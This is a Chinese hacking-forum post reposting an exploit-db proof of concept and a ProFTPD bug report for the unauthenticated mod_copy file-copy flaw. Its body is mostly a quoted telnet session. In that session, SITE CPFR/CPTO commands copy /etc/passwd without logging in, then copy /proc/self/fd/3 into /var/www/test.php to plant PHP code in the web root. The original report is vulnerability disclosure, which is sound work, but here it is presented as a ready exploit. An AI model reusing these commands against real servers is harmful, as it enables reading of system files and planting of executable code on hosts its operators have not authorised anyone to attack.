搜索
查看: 217|回复: 0

ProFTPD <=1.3.5 mod_copy 未授权文件复制漏洞 POC

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-4-24 17:53:04 | 显示全部楼层 |阅读模式
From: https://www.exploit-db.com/exploits/36742/
  1. Description TJ Saunders 2015-04-07 16:35:03 UTC
  2. Vadim Melihow reported a critical issue with proftpd installations that use the
  3. mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
  4. to be used by *unauthenticated clients*:

  5. ---------------------------------
  6. Trying 80.150.216.115...
  7. Connected to 80.150.216.115.
  8. Escape character is '^]'.
  9. 220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
  10. site help
  11. 214-The following SITE commands are recognized (* =>'s unimplemented)
  12. 214-CPFR <sp> pathname
  13. 214-CPTO <sp> pathname
  14. 214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
  15. 214-SYMLINK <sp> source <sp> destination
  16. 214-RMDIR <sp> path
  17. 214-MKDIR <sp> path
  18. 214-The following SITE extensions are recognized:
  19. 214-RATIO -- show all ratios in effect
  20. 214-QUOTA
  21. 214-HELP
  22. 214-CHGRP
  23. 214-CHMOD
  24. 214 Direct comments to root@www01a
  25. site cpfr /etc/passwd
  26. 350 File or directory exists, ready for destination name
  27. site cpto /tmp/passwd.copy
  28. 250 Copy successful
  29. -----------------------------------------

  30. He provides another, scarier example:

  31. ------------------------------
  32. site cpfr /etc/passwd
  33. 350 File or directory exists, ready for destination name
  34. site cpto <?php phpinfo(); ?>
  35. 550 cpto: Permission denied
  36. site cpfr /proc/self/fd/3
  37. 350 File or directory exists, ready for destination name
  38. site cpto /var/www/test.php

  39. test.php now contains
  40. ----------------------
  41. 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
  42. (slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
  43. 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
  44. (slon-P5Q.lan[192.168.3.193]): FTP session opened.
  45. 2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
  46. (slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
  47. phpinfo(); ?>' for copying: Permission denied
  48. -----------------------

  49. test.php contains contain correct php script "<?php phpinfo(); ?>" which
  50. can be run by the php interpreter

  51. Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表